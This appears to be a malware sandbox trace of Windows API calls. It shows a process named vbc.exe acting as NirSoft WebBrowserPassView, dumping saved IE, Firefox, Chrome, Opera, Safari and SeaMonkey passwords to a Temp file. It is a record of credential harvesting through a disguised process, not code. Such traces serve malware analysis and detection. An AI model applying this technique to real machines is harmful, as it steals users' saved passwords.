	[0098.774] EnumResourceNamesW (hModule=0x400000, lpType=0xc, lpEnumFunc=0x411ef8, lParam=0x0) returned 1
	[0098.774] FindResourceW (hModule=0x400000, lpName=0x67, lpType=0xc) returned 0x452738
	[0098.774] SizeofResource (hModule=0x400000, hResInfo=0x452738) returned 0x14
	[0098.774] LoadResource (hModule=0x400000, hResInfo=0x452738) returned 0x4572a4
	[0098.774] LockResource (hResData=0x4572a4) returned 0x4572a4
	[0098.774] EnumResourceNamesW (hModule=0x400000, lpType=0xe, lpEnumFunc=0x411ef8, lParam=0x0) returned 1
	[0098.774] FindResourceW (hModule=0x400000, lpName=0x65, lpType=0xe) returned 0x452748
	[0098.774] SizeofResource (hModule=0x400000, hResInfo=0x452748) returned 0x14
	[0098.774] LoadResource (hModule=0x400000, hResInfo=0x452748) returned 0x4572b8
	[0098.774] LockResource (hResData=0x4572b8) returned 0x4572b8
	[0098.774] FindResourceW (hModule=0x400000, lpName=0x6f, lpType=0xe) returned 0x452758
	[0098.774] SizeofResource (hModule=0x400000, hResInfo=0x452758) returned 0x14
	[0098.774] LoadResource (hModule=0x400000, hResInfo=0x452758) returned 0x4572cc
	[0098.774] LockResource (hResData=0x4572cc) returned 0x4572cc
	[0098.774] FindResourceW (hModule=0x400000, lpName=0x72, lpType=0xe) returned 0x452768
	[0098.774] SizeofResource (hModule=0x400000, hResInfo=0x452768) returned 0x14
	[0098.774] LoadResource (hModule=0x400000, hResInfo=0x452768) returned 0x4572e0
	[0098.774] LockResource (hResData=0x4572e0) returned 0x4572e0
	[0098.774] FindResourceW (hModule=0x400000, lpName=0x73, lpType=0xe) returned 0x452778
	[0098.774] SizeofResource (hModule=0x400000, hResInfo=0x452778) returned 0x14
	[0098.774] LoadResource (hModule=0x400000, hResInfo=0x452778) returned 0x4572f4
	[0098.774] LockResource (hResData=0x4572f4) returned 0x4572f4
	[0098.774] FindResourceW (hModule=0x400000, lpName=0x74, lpType=0xe) returned 0x452788
	[0098.774] SizeofResource (hModule=0x400000, hResInfo=0x452788) returned 0x14
	[0098.774] LoadResource (hModule=0x400000, hResInfo=0x452788) returned 0x457308
	[0098.775] LockResource (hResData=0x457308) returned 0x457308
	[0098.775] FindResourceW (hModule=0x400000, lpName=0x75, lpType=0xe) returned 0x452798
	[0098.775] SizeofResource (hModule=0x400000, hResInfo=0x452798) returned 0x14
	[0098.775] LoadResource (hModule=0x400000, hResInfo=0x452798) returned 0x45731c
	[0098.775] LockResource (hResData=0x45731c) returned 0x45731c
	[0098.775] FindResourceW (hModule=0x400000, lpName=0x76, lpType=0xe) returned 0x4527a8
	[0098.775] SizeofResource (hModule=0x400000, hResInfo=0x4527a8) returned 0x14
	[0098.775] LoadResource (hModule=0x400000, hResInfo=0x4527a8) returned 0x457330
	[0098.775] LockResource (hResData=0x457330) returned 0x457330
	[0098.775] EnumResourceNamesW (hModule=0x400000, lpType=0x10, lpEnumFunc=0x411ef8, lParam=0x0) returned 1
	[0098.775] FindResourceW (hModule=0x400000, lpName=0x1, lpType=0x10) returned 0x4527b8
	[0098.775] SizeofResource (hModule=0x400000, hResInfo=0x4527b8) returned 0x308
	[0098.775] LoadResource (hModule=0x400000, hResInfo=0x4527b8) returned 0x457344
	[0098.775] LockResource (hResData=0x457344) returned 0x457344
	[0098.775] EnumResourceNamesW (hModule=0x400000, lpType=0x18, lpEnumFunc=0x411ef8, lParam=0x0) returned 1
	[0098.775] FindResourceW (hModule=0x400000, lpName=0x1, lpType=0x18) returned 0x4527c8
	[0098.775] SizeofResource (hModule=0x400000, hResInfo=0x4527c8) returned 0x16a
	[0098.775] LoadResource (hModule=0x400000, hResInfo=0x4527c8) returned 0x45764c
	[0098.775] LockResource (hResData=0x45764c) returned 0x45764c
	[0098.775] wcscpy (in: _Dest=0x18f778, _Source="Arial" | out: _Dest="Arial") returned="Arial"
	[0098.775] CreateFontIndirectW (lplf=0x18f75c) returned 0xb20a07ab
	[0098.776] wcsncat (in: _Dest=0x18fcc2, _Source="N", _Count=0x1 | out: _Dest="N") returned="N"
	[0098.776] wcsncat (in: _Dest=0x18fcc2, _Source="i", _Count=0x1 | out: _Dest="Ni") returned="Ni"
	[0098.776] wcsncat (in: _Dest=0x18fcc2, _Source="r", _Count=0x1 | out: _Dest="Nir") returned="Nir"
	[0098.776] wcsncat (in: _Dest=0x18fcc2, _Source="S", _Count=0x1 | out: _Dest="NirS") returned="NirS"
	[0098.776] wcsncat (in: _Dest=0x18fcc2, _Source="o", _Count=0x1 | out: _Dest="NirSo") returned="NirSo"
	[0098.776] wcsncat (in: _Dest=0x18fcc2, _Source="f", _Count=0x1 | out: _Dest="NirSof") returned="NirSof"
	[0098.776] wcsncat (in: _Dest=0x18fcc2, _Source="t", _Count=0x1 | out: _Dest="NirSoft") returned="NirSoft"
	[0098.776] wcsncat (in: _Dest=0x18fcc2, _Source=" ", _Count=0x1 | out: _Dest="NirSoft ") returned="NirSoft "
	[0098.776] wcsncat (in: _Dest=0x18fcc2, _Source="F", _Count=0x1 | out: _Dest="NirSoft F") returned="NirSoft F"
	[0098.776] wcsncat (in: _Dest=0x18fcc2, _Source="r", _Count=0x1 | out: _Dest="NirSoft Fr") returned="NirSoft Fr"
	[0098.776] wcsncat (in: _Dest=0x18fcc2, _Source="e", _Count=0x1 | out: _Dest="NirSoft Fre") returned="NirSoft Fre"
	[0098.776] wcsncat (in: _Dest=0x18fcc2, _Source="e", _Count=0x1 | out: _Dest="NirSoft Free") returned="NirSoft Free"
	[0098.776] wcsncat (in: _Dest=0x18fcc2, _Source="w", _Count=0x1 | out: _Dest="NirSoft Freew") returned="NirSoft Freew"
	[0098.776] wcsncat (in: _Dest=0x18fcc2, _Source="a", _Count=0x1 | out: _Dest="NirSoft Freewa") returned="NirSoft Freewa"
	[0098.776] wcsncat (in: _Dest=0x18fcc2, _Source="r", _Count=0x1 | out: _Dest="NirSoft Freewar") returned="NirSoft Freewar"
	[0098.776] wcsncat (in: _Dest=0x18fcc2, _Source="e", _Count=0x1 | out: _Dest="NirSoft Freeware") returned="NirSoft Freeware"
	[0098.776] wcsncat (in: _Dest=0x18fcc2, _Source=".", _Count=0x1 | out: _Dest="NirSoft Freeware.") returned="NirSoft Freeware."
	[0098.776] wcsncat (in: _Dest=0x18fcc2, _Source=" ", _Count=0x1 | out: _Dest="NirSoft Freeware. ") returned="NirSoft Freeware. "
	[0098.776] wcsncat (in: _Dest=0x18fcc2, _Source=" ", _Count=0x1 | out: _Dest="NirSoft Freeware.  ") returned="NirSoft Freeware.  "
	[0098.776] wcsncat (in: _Dest=0x18fcc2, _Source="h", _Count=0x1 | out: _Dest="NirSoft Freeware.  h") returned="NirSoft Freeware.  h"
	[0098.776] wcsncat (in: _Dest=0x18fcc2, _Source="t", _Count=0x1 | out: _Dest="NirSoft Freeware.  ht") returned="NirSoft Freeware.  ht"
	[0098.776] wcsncat (in: _Dest=0x18fcc2, _Source="t", _Count=0x1 | out: _Dest="NirSoft Freeware.  htt") returned="NirSoft Freeware.  htt"
	[0098.776] wcsncat (in: _Dest=0x18fcc2, _Source="p", _Count=0x1 | out: _Dest="NirSoft Freeware.  http") returned="NirSoft Freeware.  http"
	[0098.776] wcsncat (in: _Dest=0x18fcc2, _Source=":", _Count=0x1 | out: _Dest="NirSoft Freeware.  http:") returned="NirSoft Freeware.  http:"
	[0098.776] wcsncat (in: _Dest=0x18fcc2, _Source="/", _Count=0x1 | out: _Dest="NirSoft Freeware.  http:/") returned="NirSoft Freeware.  http:/"
	[0098.776] wcsncat (in: _Dest=0x18fcc2, _Source="/", _Count=0x1 | out: _Dest="NirSoft Freeware.  http://") returned="NirSoft Freeware.  http://"
	[0098.776] wcsncat (in: _Dest=0x18fcc2, _Source="w", _Count=0x1 | out: _Dest="NirSoft Freeware.  http://w") returned="NirSoft Freeware.  http://w"
	[0098.776] wcsncat (in: _Dest=0x18fcc2, _Source="w", _Count=0x1 | out: _Dest="NirSoft Freeware.  http://ww") returned="NirSoft Freeware.  http://ww"
	[0098.776] wcsncat (in: _Dest=0x18fcc2, _Source="w", _Count=0x1 | out: _Dest="NirSoft Freeware.  http://www") returned="NirSoft Freeware.  http://www"
	[0098.776] wcsncat (in: _Dest=0x18fcc2, _Source=".", _Count=0x1 | out: _Dest="NirSoft Freeware.  http://www.") returned="NirSoft Freeware.  http://www."
	[0098.776] wcsncat (in: _Dest=0x18fcc2, _Source="n", _Count=0x1 | out: _Dest="NirSoft Freeware.  http://www.n") returned="NirSoft Freeware.  http://www.n"
	[0098.776] wcsncat (in: _Dest=0x18fcc2, _Source="i", _Count=0x1 | out: _Dest="NirSoft Freeware.  http://www.ni") returned="NirSoft Freeware.  http://www.ni"
	[0098.776] wcsncat (in: _Dest=0x18fcc2, _Source="r", _Count=0x1 | out: _Dest="NirSoft Freeware.  http://www.nir") returned="NirSoft Freeware.  http://www.nir"
	[0098.776] wcsncat (in: _Dest=0x18fcc2, _Source="s", _Count=0x1 | out: _Dest="NirSoft Freeware.  http://www.nirs") returned="NirSoft Freeware.  http://www.nirs"
	[0098.776] wcsncat (in: _Dest=0x18fcc2, _Source="o", _Count=0x1 | out: _Dest="NirSoft Freeware.  http://www.nirso") returned="NirSoft Freeware.  http://www.nirso"
	[0098.776] wcsncat (in: _Dest=0x18fcc2, _Source="f", _Count=0x1 | out: _Dest="NirSoft Freeware.  http://www.nirsof") returned="NirSoft Freeware.  http://www.nirsof"
	[0098.776] wcsncat (in: _Dest=0x18fcc2, _Source="t", _Count=0x1 | out: _Dest="NirSoft Freeware.  http://www.nirsoft") returned="NirSoft Freeware.  http://www.nirsoft"
	[0098.776] wcsncat (in: _Dest=0x18fcc2, _Source=".", _Count=0x1 | out: _Dest="NirSoft Freeware.  http://www.nirsoft.") returned="NirSoft Freeware.  http://www.nirsoft."
	[0098.776] wcsncat (in: _Dest=0x18fcc2, _Source="n", _Count=0x1 | out: _Dest="NirSoft Freeware.  http://www.nirsoft.n") returned="NirSoft Freeware.  http://www.nirsoft.n"
	[0098.777] wcsncat (in: _Dest=0x18fcc2, _Source="e", _Count=0x1 | out: _Dest="NirSoft Freeware.  http://www.nirsoft.ne") returned="NirSoft Freeware.  http://www.nirsoft.ne"
	[0098.777] wcsncat (in: _Dest=0x18fcc2, _Source="t", _Count=0x1 | out: _Dest="NirSoft Freeware.  http://www.nirsoft.net") returned="NirSoft Freeware.  http://www.nirsoft.net"
	[0098.777] GetModuleHandleW (lpModuleName=0x0) returned 0x400000
	[0098.777] LoadIconW (hInstance=0x400000, lpIconName=0x65) returned 0x600ef
	[0098.777] wcscpy (in: _Dest=0x18f83c, _Source="WebBrowserPassView" | out: _Dest="WebBrowserPassView") returned="WebBrowserPassView"
	[0098.777] wcslen (_String="/stext") returned 0x6
	[0098.777] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt") returned 0x31
	[0098.777] _wcsicmp (_String1="/savelangfile", _String2="/stext") returned -19
	[0098.777] _wcsicmp (_String1="/savelangfile", _String2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt") returned -52
	[0098.777] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18f5c4, nSize=0x104 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\vbc.exe")) returned 0x35
	[0098.777] wcscat (in: _Dest=0x18f5c4, _Source="_lng.ini" | out: _Dest="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc_lng.ini") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc_lng.ini"
	[0098.777] GetFileAttributesW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc_lng.ini" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\vbc_lng.ini")) returned 0xffffffff
	[0098.777] _wcsicmp (_String1="/deleteregkey", _String2="/stext") returned -15
	[0098.777] _wcsicmp (_String1="/deleteregkey", _String2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt") returned -52
	[0098.778] GetModuleHandleW (lpModuleName=0x0) returned 0x400000
	[0098.778] LoadStringW (in: hInstance=0x400000, uID=0x3e9, lpBuffer=0x315a00, cchBufferMax=4095 | out: lpBuffer="URL") returned 0x3
	[0098.778] GetModuleHandleW (lpModuleName=0x0) returned 0x400000
	[0098.778] LoadStringW (in: hInstance=0x400000, uID=0x3e9, lpBuffer=0x315a00, cchBufferMax=4095 | out: lpBuffer="URL") returned 0x3
	[0098.778] GetModuleHandleW (lpModuleName=0x0) returned 0x400000
	[0098.778] LoadStringW (in: hInstance=0x400000, uID=0x3ea, lpBuffer=0x315a00, cchBufferMax=4095 | out: lpBuffer="Web Browser") returned 0xb
	[0098.778] GetModuleHandleW (lpModuleName=0x0) returned 0x400000
	[0098.778] LoadStringW (in: hInstance=0x400000, uID=0x3ea, lpBuffer=0x315a00, cchBufferMax=4095 | out: lpBuffer="Web Browser") returned 0xb
	[0098.779] GetModuleHandleW (lpModuleName=0x0) returned 0x400000
	[0098.779] LoadStringW (in: hInstance=0x400000, uID=0x3eb, lpBuffer=0x315a00, cchBufferMax=4095 | out: lpBuffer="User Name") returned 0x9
	[0098.779] GetModuleHandleW (lpModuleName=0x0) returned 0x400000
	[0098.779] LoadStringW (in: hInstance=0x400000, uID=0x3eb, lpBuffer=0x315a00, cchBufferMax=4095 | out: lpBuffer="User Name") returned 0x9
	[0098.779] GetModuleHandleW (lpModuleName=0x0) returned 0x400000
	[0098.779] LoadStringW (in: hInstance=0x400000, uID=0x3ec, lpBuffer=0x315a00, cchBufferMax=4095 | out: lpBuffer="Password") returned 0x8
	[0098.779] GetModuleHandleW (lpModuleName=0x0) returned 0x400000
	[0098.779] LoadStringW (in: hInstance=0x400000, uID=0x3ec, lpBuffer=0x315a00, cchBufferMax=4095 | out: lpBuffer="Password") returned 0x8
	[0098.779] GetModuleHandleW (lpModuleName=0x0) returned 0x400000
	[0098.779] LoadStringW (in: hInstance=0x400000, uID=0x3ed, lpBuffer=0x315a00, cchBufferMax=4095 | out: lpBuffer="Password Strength") returned 0x11
	[0098.779] GetModuleHandleW (lpModuleName=0x0) returned 0x400000
	[0098.779] LoadStringW (in: hInstance=0x400000, uID=0x3ed, lpBuffer=0x315a00, cchBufferMax=4095 | out: lpBuffer="Password Strength") returned 0x11
	[0098.779] GetModuleHandleW (lpModuleName=0x0) returned 0x400000
	[0098.779] LoadStringW (in: hInstance=0x400000, uID=0x3ee, lpBuffer=0x315a00, cchBufferMax=4095 | out: lpBuffer="User Name Field") returned 0xf
	[0098.779] GetModuleHandleW (lpModuleName=0x0) returned 0x400000
	[0098.779] LoadStringW (in: hInstance=0x400000, uID=0x3ee, lpBuffer=0x315a00, cchBufferMax=4095 | out: lpBuffer="User Name Field") returned 0xf
	[0098.779] GetModuleHandleW (lpModuleName=0x0) returned 0x400000
	[0098.779] LoadStringW (in: hInstance=0x400000, uID=0x3ef, lpBuffer=0x315a00, cchBufferMax=4095 | out: lpBuffer="Password Field") returned 0xe
	[0098.779] GetModuleHandleW (lpModuleName=0x0) returned 0x400000
	[0098.779] LoadStringW (in: hInstance=0x400000, uID=0x3ef, lpBuffer=0x315a00, cchBufferMax=4095 | out: lpBuffer="Password Field") returned 0xe
	[0098.780] _wcsicmp (_String1="/stext", _String2="/stext") returned 0
	[0098.780] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18f59c, nSize=0x104 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\vbc.exe")) returned 0x35
	[0098.780] wcscat (in: _Dest=0x18f59c, _Source=".cfg" | out: _Dest="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.cfg") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.cfg"
	[0098.780] wcscpy (in: _Dest=0x18f188, _Source="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.cfg" | out: _Dest="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.cfg") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.cfg"
	[0098.780] wcscpy (in: _Dest=0x18f392, _Source="General" | out: _Dest="General") returned="General"
	[0098.780] GetPrivateProfileIntW (lpAppName="General", lpKeyName="ShowGridLines", nDefault=0, lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.cfg") returned 0x0
	[0098.780] GetPrivateProfileIntW (lpAppName="General", lpKeyName="SaveFilterIndex", nDefault=0, lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.cfg") returned 0x0
	[0098.780] GetPrivateProfileIntW (lpAppName="General", lpKeyName="ShowInfoTip", nDefault=1, lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.cfg") returned 0x1
	[0098.780] GetPrivateProfileIntW (lpAppName="General", lpKeyName="MarkOddEvenRows", nDefault=0, lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.cfg") returned 0x0
	[0098.781] GetPrivateProfileIntW (lpAppName="General", lpKeyName="LoadPasswordsIE", nDefault=1, lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.cfg") returned 0x1
	[0098.781] GetPrivateProfileIntW (lpAppName="General", lpKeyName="LoadPasswordsFirefox", nDefault=1, lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.cfg") returned 0x1
	[0098.781] GetPrivateProfileIntW (lpAppName="General", lpKeyName="LoadPasswordsChrome", nDefault=1, lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.cfg") returned 0x1
	[0098.781] GetPrivateProfileIntW (lpAppName="General", lpKeyName="LoadPasswordsOpera", nDefault=1, lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.cfg") returned 0x1
	[0098.781] GetPrivateProfileIntW (lpAppName="General", lpKeyName="LoadPasswordsSafari", nDefault=1, lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.cfg") returned 0x1
	[0098.781] GetPrivateProfileIntW (lpAppName="General", lpKeyName="LoadPasswordsSeaMonkey", nDefault=1, lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.cfg") returned 0x1
	[0098.781] GetPrivateProfileIntW (lpAppName="General", lpKeyName="UseFirefoxProfileFolder", nDefault=0, lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.cfg") returned 0x0
	[0098.781] GetPrivateProfileIntW (lpAppName="General", lpKeyName="UseFirefoxInstallFolder", nDefault=0, lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.cfg") returned 0x0
	[0098.781] GetPrivateProfileIntW (lpAppName="General", lpKeyName="UseChromeProfileFolder", nDefault=0, lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.cfg") returned 0x0
	[0098.781] GetPrivateProfileIntW (lpAppName="General", lpKeyName="UseOperaPasswordFile", nDefault=0, lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.cfg") returned 0x0
	[0098.783] GetPrivateProfileStringW (in: lpAppName="General", lpKeyName="FirefoxProfileFolder", lpDefault="", lpReturnedString=0x312984, nSize=0x104, lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.cfg" | out: lpReturnedString="") returned 0x0
	[0098.783] GetPrivateProfileStringW (in: lpAppName="General", lpKeyName="FirefoxInstallFolder", lpDefault="", lpReturnedString=0x312b8e, nSize=0x104, lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.cfg" | out: lpReturnedString="") returned 0x0
	[0098.783] GetPrivateProfileStringW (in: lpAppName="General", lpKeyName="ChromeProfileFolder", lpDefault="", lpReturnedString=0x312f9c, nSize=0x104, lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.cfg" | out: lpReturnedString="") returned 0x0
	[0098.783] GetPrivateProfileStringW (in: lpAppName="General", lpKeyName="OperaPasswordFile", lpDefault="", lpReturnedString=0x3131ac, nSize=0x104, lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.cfg" | out: lpReturnedString="") returned 0x0
	[0098.783] GetPrivateProfileStringW (in: lpAppName="General", lpKeyName="WinPos", lpDefault="", lpReturnedString=0x18b134, nSize=0x2000, lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.cfg" | out: lpReturnedString="") returned 0x0
	[0098.783] wcslen (_String="") returned 0x0
	[0098.783] GetPrivateProfileStringW (in: lpAppName="General", lpKeyName="Columns", lpDefault="", lpReturnedString=0x18b134, nSize=0x2000, lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.cfg" | out: lpReturnedString="") returned 0x0
	[0098.783] wcslen (_String="") returned 0x0
	[0098.783] GetPrivateProfileIntW (lpAppName="General", lpKeyName="Sort", nDefault=0, lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.cfg") returned 0x0
	[0098.783] wcscat (in: _Dest=0x18f56c, _Source="ShowGridLines" | out: _Dest="/ShowGridLines") returned="/ShowGridLines"
	[0098.783] _wcsicmp (_String1="/ShowGridLines", _String2="/stext") returned -12
	[0098.783] _wcsicmp (_String1="/ShowGridLines", _String2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt") returned -52
	[0098.783] wcscat (in: _Dest=0x18f56c, _Source="SaveFilterIndex" | out: _Dest="/SaveFilterIndex") returned="/SaveFilterIndex"
	[0098.783] _wcsicmp (_String1="/SaveFilterIndex", _String2="/stext") returned -19
	[0098.783] _wcsicmp (_String1="/SaveFilterIndex", _String2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt") returned -52
	[0098.783] wcscat (in: _Dest=0x18f56c, _Source="ShowInfoTip" | out: _Dest="/ShowInfoTip") returned="/ShowInfoTip"
	[0098.783] _wcsicmp (_String1="/ShowInfoTip", _String2="/stext") returned -12
	[0098.783] _wcsicmp (_String1="/ShowInfoTip", _String2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt") returned -52
	[0098.783] wcscat (in: _Dest=0x18f56c, _Source="MarkOddEvenRows" | out: _Dest="/MarkOddEvenRows") returned="/MarkOddEvenRows"
	[0098.783] _wcsicmp (_String1="/MarkOddEvenRows", _String2="/stext") returned -6
	[0098.783] _wcsicmp (_String1="/MarkOddEvenRows", _String2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt") returned -52
	[0098.784] wcscat (in: _Dest=0x18f56c, _Source="LoadPasswordsIE" | out: _Dest="/LoadPasswordsIE") returned="/LoadPasswordsIE"
	[0098.784] _wcsicmp (_String1="/LoadPasswordsIE", _String2="/stext") returned -7
	[0098.784] _wcsicmp (_String1="/LoadPasswordsIE", _String2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt") returned -52
	[0098.784] wcscat (in: _Dest=0x18f56c, _Source="LoadPasswordsFirefox" | out: _Dest="/LoadPasswordsFirefox") returned="/LoadPasswordsFirefox"
	[0098.784] _wcsicmp (_String1="/LoadPasswordsFirefox", _String2="/stext") returned -7
	[0098.784] _wcsicmp (_String1="/LoadPasswordsFirefox", _String2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt") returned -52
	[0098.784] wcscat (in: _Dest=0x18f56c, _Source="LoadPasswordsChrome" | out: _Dest="/LoadPasswordsChrome") returned="/LoadPasswordsChrome"
	[0098.784] _wcsicmp (_String1="/LoadPasswordsChrome", _String2="/stext") returned -7
	[0098.784] _wcsicmp (_String1="/LoadPasswordsChrome", _String2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt") returned -52
	[0098.784] wcscat (in: _Dest=0x18f56c, _Source="LoadPasswordsOpera" | out: _Dest="/LoadPasswordsOpera") returned="/LoadPasswordsOpera"
	[0098.784] _wcsicmp (_String1="/LoadPasswordsOpera", _String2="/stext") returned -7
	[0098.784] _wcsicmp (_String1="/LoadPasswordsOpera", _String2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt") returned -52
	[0098.784] wcscat (in: _Dest=0x18f56c, _Source="LoadPasswordsSafari" | out: _Dest="/LoadPasswordsSafari") returned="/LoadPasswordsSafari"
	[0098.784] _wcsicmp (_String1="/LoadPasswordsSafari", _String2="/stext") returned -7
	[0098.784] _wcsicmp (_String1="/LoadPasswordsSafari", _String2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt") returned -52
	[0098.784] wcscat (in: _Dest=0x18f56c, _Source="LoadPasswordsSeaMonkey" | out: _Dest="/LoadPasswordsSeaMonkey") returned="/LoadPasswordsSeaMonkey"
	[0098.784] _wcsicmp (_String1="/LoadPasswordsSeaMonkey", _String2="/stext") returned -7
	[0098.784] _wcsicmp (_String1="/LoadPasswordsSeaMonkey", _String2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt") returned -52
	[0098.784] wcscat (in: _Dest=0x18f56c, _Source="UseFirefoxProfileFolder" | out: _Dest="/UseFirefoxProfileFolder") returned="/UseFirefoxProfileFolder"
	[0098.784] _wcsicmp (_String1="/UseFirefoxProfileFolder", _String2="/stext") returned 2
	[0098.784] _wcsicmp (_String1="/UseFirefoxProfileFolder", _String2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt") returned -52
	[0098.784] wcscat (in: _Dest=0x18f56c, _Source="UseFirefoxInstallFolder" | out: _Dest="/UseFirefoxInstallFolder") returned="/UseFirefoxInstallFolder"
	[0098.784] _wcsicmp (_String1="/UseFirefoxInstallFolder", _String2="/stext") returned 2
	[0098.784] _wcsicmp (_String1="/UseFirefoxInstallFolder", _String2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt") returned -52
	[0098.784] wcscat (in: _Dest=0x18f56c, _Source="UseChromeProfileFolder" | out: _Dest="/UseChromeProfileFolder") returned="/UseChromeProfileFolder"
	[0098.784] _wcsicmp (_String1="/UseChromeProfileFolder", _String2="/stext") returned 2
	[0098.784] _wcsicmp (_String1="/UseChromeProfileFolder", _String2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt") returned -52
	[0098.784] wcscat (in: _Dest=0x18f56c, _Source="UseOperaPasswordFile" | out: _Dest="/UseOperaPasswordFile") returned="/UseOperaPasswordFile"
	[0098.784] _wcsicmp (_String1="/UseOperaPasswordFile", _String2="/stext") returned 2
	[0098.784] _wcsicmp (_String1="/UseOperaPasswordFile", _String2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt") returned -52
	[0098.784] wcscat (in: _Dest=0x18f568, _Source="FirefoxProfileFolder" | out: _Dest="/FirefoxProfileFolder") returned="/FirefoxProfileFolder"
	[0098.784] _wcsicmp (_String1="/FirefoxProfileFolder", _String2="/stext") returned -13
	[0098.784] _wcsicmp (_String1="/FirefoxProfileFolder", _String2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt") returned -52
	[0098.784] wcscat (in: _Dest=0x18f568, _Source="FirefoxInstallFolder" | out: _Dest="/FirefoxInstallFolder") returned="/FirefoxInstallFolder"
	[0098.784] _wcsicmp (_String1="/FirefoxInstallFolder", _String2="/stext") returned -13
	[0098.784] _wcsicmp (_String1="/FirefoxInstallFolder", _String2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt") returned -52
	[0098.784] wcscat (in: _Dest=0x18f568, _Source="ChromeProfileFolder" | out: _Dest="/ChromeProfileFolder") returned="/ChromeProfileFolder"
	[0098.784] _wcsicmp (_String1="/ChromeProfileFolder", _String2="/stext") returned -16
	[0098.784] _wcsicmp (_String1="/ChromeProfileFolder", _String2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt") returned -52
	[0098.784] wcscat (in: _Dest=0x18f568, _Source="OperaPasswordFile" | out: _Dest="/OperaPasswordFile") returned="/OperaPasswordFile"
	[0098.784] _wcsicmp (_String1="/OperaPasswordFile", _String2="/stext") returned -4
	[0098.784] _wcsicmp (_String1="/OperaPasswordFile", _String2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt") returned -52
	[0098.784] _wcsicmp (_String1="/sort", _String2="/stext") returned -5
	[0098.784] _wcsicmp (_String1="/sort", _String2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt") returned -52
	[0098.785] LoadCursorW (hInstance=0x0, lpCursorName=0x7f02) returned 0x10007
	[0098.785] SetCursor (hCursor=0x10007) returned 0x10007
	[0098.785] GetVersionExW (in: lpVersionInformation=0x450da8*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x450da8*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
	[0098.785] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18aec0, csidl=34, fCreate=0 | out: pszPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History") returned 1
